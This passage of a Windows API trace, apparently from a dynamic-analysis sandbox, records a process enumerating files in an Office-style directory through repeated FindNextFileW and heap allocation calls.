0xaa92c0 [0075.201] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.201] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a36c100, ftCreationTime.dwHighDateTime=0x1c6af9a, ftLastAccessTime.dwLowDateTime=0x150ad890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a36c100, ftLastWriteTime.dwHighDateTime=0x1c6af9a, nFileSizeHigh=0x0, nFileSizeLow=0x53de0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIP10.HLP", cAlternateFileName="")) returned 1 [0075.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.201] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.201] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab2088 [0075.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa93d0 [0075.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.202] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefafd800, ftCreationTime.dwHighDateTime=0x1ca674a, ftLastAccessTime.dwLowDateTime=0x150ad890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefafd800, ftLastWriteTime.dwHighDateTime=0x1ca674a, nFileSizeHigh=0x0, nFileSizeLow=0x43590, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWIZRC.DLL", cAlternateFileName="")) returned 1 [0075.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.202] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ab4f00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5054cac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb4ab4f00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x10f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="AEC.VSL", cAlternateFileName="")) returned 1 [0075.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab20a8 [0075.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa9458 [0075.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x3600) returned 0xa94c50 [0075.203] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab38f0) returned 1 [0075.203] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.203] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5054cac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xa388, dwReserved0=0x0, dwReserved1=0x0, cFileName="AECUTILS.VSL", cAlternateFileName="")) returned 1 [0075.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.203] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.203] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab20c8 [0075.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa94e0 [0075.203] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.203] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2b17900, ftCreationTime.dwHighDateTime=0x1c55530, ftLastAccessTime.dwLowDateTime=0x50598d80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe2b17900, ftLastWriteTime.dwHighDateTime=0x1c55530, nFileSizeHigh=0x0, nFileSizeLow=0x69e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ASSET.VRD", cAlternateFileName="")) returned 1 [0075.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.203] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.203] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab20e8 [0075.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa9568 [0075.204] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.204] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3375600, ftCreationTime.dwHighDateTime=0x1c2fe69, ftLastAccessTime.dwLowDateTime=0x505e5040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc3375600, ftLastWriteTime.dwHighDateTime=0x1c2fe69, nFileSizeHigh=0x0, nFileSizeLow=0x10d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASIC.HTM", cAlternateFileName="")) returned 1 [0075.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.204] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.204] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab2108 [0075.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa95f0 [0075.204] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.204] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x6180, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSRuntimeRes.dll", cAlternateFileName="")) returned 1 [0075.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.204] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.205] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b056800, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3b056800, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x2778, dwReserved0=0x0, dwReserved1=0x0, cFileName="BHOINTL.DLL", cAlternateFileName="")) returned 1 [0075.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.205] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e1bb530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bibliography", cAlternateFileName="")) returned 1 [0075.205] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5067d5c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xb390, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1 [0075.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab2128 [0075.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa9678 [0075.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.206] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BW.CSS", cAlternateFileName="")) returned 1 [0075.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab2148 [0075.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa9700 [0075.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.206] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb09b400, ftCreationTime.dwHighDateTime=0x1c55530, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xeb09b400, ftLastWriteTime.dwHighDateTime=0x1c55530, nFileSizeHigh=0x0, nFileSizeLow=0x860, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALEVENT.VRD", cAlternateFileName="")) returned 1 [0075.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab2168 [0075.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa9788 [0075.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.207] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="CERTINTL.DLL", cAlternateFileName="")) returned 1 [0075.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.207] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49538400, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0xeec9ffd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49538400, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x4da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLVWINTL.DLL", cAlternateFileName="")) returned 1 [0075.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.207] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x8990, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMAXRES.DLL", cAlternateFileName="")) returned 1 [0075.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.208] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.208] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.208] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.208] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="COFFEE.CSS", cAlternateFileName="")) returned 1 [0075.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.208] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.208] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab2188 [0075.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa9810 [0075.208] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.208] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62bc4600, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeec9ffd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62bc4600, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x35be, dwReserved0=0x0, dwReserved1=0x0, cFileName="CollectSignatures_Init.xsn", cAlternateFileName="")) returned 1 [0075.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.208] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.209] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa4f40 [0075.209] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa91b0) returned 1 [0075.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab21a8 [0075.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa5048 [0075.209] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.209] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x618b1900, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x618b1900, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x36fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="CollectSignatures_Sign.xsn", cAlternateFileName="")) returned 1 [0075.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.209] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.209] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab21c8 [0075.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa5150 [0075.209] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.209] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63409700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x63409700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContactPickerIntl.dll", cAlternateFileName="")) returned 1 [0075.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.210] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73908200, ftCreationTime.dwHighDateTime=0x1ca7ab5, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x73908200, ftLastWriteTime.dwHighDateTime=0x1ca7ab5, nFileSizeHigh=0x0, nFileSizeLow=0x17b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CT_ROOTS.XML", cAlternateFileName="")) returned 1 [0075.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab21e8 [0075.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa91b0 [0075.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.210] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataServices", cAlternateFileName="")) returned 1 [0075.210] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xcf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBENGR.VSL", cAlternateFileName="")) returned 1 [0075.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.211] RtlAllocateHeap (HeapHandle=0x940000, 